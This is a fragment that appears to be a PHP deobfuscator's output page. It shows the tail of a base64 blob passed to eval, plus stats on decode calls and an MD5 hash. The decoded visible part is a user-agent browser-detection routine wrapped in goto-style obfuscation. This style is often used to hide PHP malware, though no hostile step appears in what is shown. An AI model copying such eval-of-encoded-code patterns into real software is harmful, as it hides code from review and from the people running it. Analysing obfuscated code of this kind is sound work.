4NzJceDY1XDE0Nlx4NmZceDc4XHgyZlwxNTEiID0+ICJceDQ2XHg2OVwxNjJcMTQ1XDE0NlwxNTdcMTcwIiwgIlx4MmZceDczXHg2MVx4NjZceDYxXHg3MlwxNTFcNTdceDY5IiA9PiAiXDEyM1wxNDFcMTQ2XDE0MVwxNjJceDY5IiwgIlx4MmZcMTQzXHg2OFx4NzJceDZmXDE1NVwxNDVcNTdcMTUxIiA9PiAiXDEwM1wxNTBcMTYyXHg2Zlx4NmRceDY1IiwgIlw1N1wxNDVceDY0XHg2N1wxNDVceDJmXHg2OSIgPT4gIlwxMDVceDY0XDE0N1wxNDUiLCAiXHgyZlx4NmZceDcwXHg2NVx4NzJcMTQxXHgyZlwxNTEiID0+ICJceDRmXDE2MFx4NjVceDcyXHg2MSIsICJcNTdcMTU2XHg2NVwxNjRcMTYzXDE0M1wxNDFcMTYwXHg2NVw1N1wxNTEiID0+ICJceDRlXHg2NVx4NzRcMTYzXDE0M1wxNDFceDcwXDE0NSIsICJceDJmXHg2ZFwxNDFcMTcwXDE2NFwxNTBceDZmXHg2ZVx4MmZcMTUxIiA9PiAiXDExNVwxNDFcMTcwXDE2NFx4NjhceDZmXHg2ZSIsICJcNTdceDZiXHg2Zlx4NmVceDcxXHg3NVwxNDVcMTYyXDE1N1wxNjJcNTdceDY5IiA9PiAiXDExM1wxNTdceDZlXDE2MVx4NzVcMTQ1XHg3MlwxNTdcMTYyIiwgIlx4MmZceDZkXDE1N1x4NjJceDY5XDE1NFx4NjVcNTdcMTUxIiA9PiAiXDExMFx4NjFcMTU2XHg2NFwxNTBceDY1XDE1NFx4NjRceDIwXHg0MlwxNjJceDZmXHg3N1x4NzNcMTQ1XHg3MiIpOyBmb3JlYWNoICgkYnJvd3Nlcl9hcnJheSBhcyAkcmVnZXggPT4gJHZhbHVlKSB7IGlmIChwcmVnX21hdGNoKCRyZWdleCwgJHVzZXJfYWdlbnQpKSB7ICRicm93c2VyID0gJHZhbHVlOyB9IH0gcmV0dXJuICRicm93c2VyOyB9IGdvdG8gdUFMdXo7IGQ1dTlOOiA=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 89c34546dd5903eb5ab769e1d3f05271
Eval Count 1
Decode Time 111 ms